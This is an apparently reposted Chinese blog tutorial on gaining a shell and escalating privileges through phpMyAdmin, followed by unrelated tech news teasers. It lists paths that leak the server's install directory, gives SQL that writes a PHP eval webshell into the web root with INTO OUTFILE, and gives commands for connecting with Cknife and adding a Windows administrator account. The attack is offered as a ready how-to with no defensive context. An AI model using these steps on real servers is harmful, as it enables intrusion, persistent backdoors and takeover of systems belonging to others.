怎么利用phpMyAdmin提权

wufei123 2024-05-24 阅读:8 评论:0

下面由phpmyadmin/" target="_blank">phpmyadmin教程栏目给大家介绍利用phpmyadmin提权的方法，希望对需要的朋友有所帮助！利用phpMyAdmin提权爆路径 /phpmyadmin/li...

下面由phpmyadmin/" target="_blank">phpmyadmin教程栏目给大家介绍利用phpmyadmin提权的方法，希望对需要的朋友有所帮助！

利用phpMyAdmin提权

爆路径

/phpmyadmin/libraries/lect_lang.lib.php /phpMyAdmin/index.php?lang[]=1 /phpMyAdmin/phpinfo.php /load_file() /phpmyadmin/themes/darkblue_orange/layout.inc.php /phpmyadmin/libraries/select_lang.lib.php /phpmyadmin/libraries/lect_lang.lib.php /phpmyadmin/libraries/mcrypt.lib.php

得到物理路径 C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

写马

Create TABLE a (cmd text NOT NULL); Insert INTO a (cmd) VALUES("<?php eval($_POST[Cknife]);?>"); select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php"; Drop TABLE IF EXISTS a;

获得webshell

最后用Cknife连接，创建帐户并添加到管理员用户组net user admin admin /addnet localgroup administrator admin /add

以上就是怎么利用phpMyAdmin提权的详细内容，更多请关注知识资源分享宝库其它相关文章！

版权声明

本站内容来源于互联网搬运，
仅限用于小范围内传播学习，请在下载后24小时内删除，
如果有侵权内容、不妥之处，请第一时间联系我们删除。敬请谅解!
E-mail：dpw1001@163.com

上一篇：分析PHPmyadmin漏洞以及拿shell的介绍 下一篇：phpMyAdmin执行数据库操作命令

发表评论

热门文章

华为 Mate 70 性能重回第一梯队 iPhone 16 最后一块遮羞布被掀

华为 mate 70 或将首发麒麟新款处理器，并将此前有博主爆料其性能跑分将突破110万，这意味着 mate 70 性能将重新夺回第一梯队。也因此，苹果 iphone 16 唯一能有一战之力的性能，也要被 mate 70 拉近不少了。据悉，华为 Mate 70 性能会大幅提升，并且销量相比 Mate 60 预计增长40% - 50%，且备货充足。如果 iPhone 16 发售日期与 Mate 70 重合，销量很可能被瞬间抢购。不过，iPhone 16 还有一个阵地暂时难...
惠普新款战 99 笔记本 5 月 20 日开售：酷睿 Ultra / 锐龙 8040，4999 元起

本站 5 月 14 日消息，继上线官网后，新款惠普战 99 商用笔记本现已上架，搭载酷睿 ultra / 锐龙 8040处理器，最高可选英伟达rtx 3000 ada 独立显卡，售价 4999 元起。战 99 锐龙版 R7-8845HS / 16GB / 1TB：4999 元 R7-8845HS / 32GB / 1TB：5299 元 R7-8845HS / RTX 4050 / 32GB / 1TB：7299 元 R7 Pro-8845HS / RTX 2000 Ada...
酷凛 ID-COOLING 推出霜界 240/360 一体水冷散热器，239/279 元

本站 5 月 16 日消息，酷凛 id-cooling 近日推出霜界 240/360 一体式水冷散热器，采用黑色无光低调设计，分别定价 239/279 元。本站整理霜界 240/360 散热器规格如下：酷凛宣称这两款水冷散热器搭载“自研新 V7 水泵”，采用三相六极马达和改进的铜底方案，缩短了水流路径，相较上代水泵进一步提升解热能力。霜界 240/360 散热器的水泵为定速 2800 RPM 设计，噪声 28db (A)。两款一体式水冷散热器采用 27mm 厚冷排，...
Nginx服务器的HTTP/2协议支持和性能提升技巧介绍

Nginx服务器的HTTP/2协议支持和性能提升技巧介绍引言：随着互联网的快速发展，人们对网站速度的要求越来越高。为了提供更快的网站响应速度和更好的用户体验，Nginx服务器的HTTP/2协议支持和性能提升技巧变得至关重要。本文将介绍如何配置Nginx服务器以支持HTTP/2协议，并提供一些性能提升的技巧。一、HTTP/2协议简介：HTTP/2协议是HTTP协议的下一代标准，它在传输层使用二进制格式进行数据传输，相比之前的HTTP1.x协议，HTTP/2协议具有更低的延...
两个表格切换的快捷键是什么

两个表格切换的快捷键是“ctrl+pageup”和“ctrl+pagedown”，按键盘上的“ctrl+pageup”键是向右切换表格，按“ctrl+pagedown”键是向左切换表格。本教程操作环境：windows7系统、Microsoft Office Excel2010版、Dell G3电脑。两个工作表之间切换是Ctrl+Tab，两个工作簿之间切换是Ctrl+PageUP和Ctrl+PageDown。打开Excel表格，打开几个工作簿。按键盘上的Ctrl+P...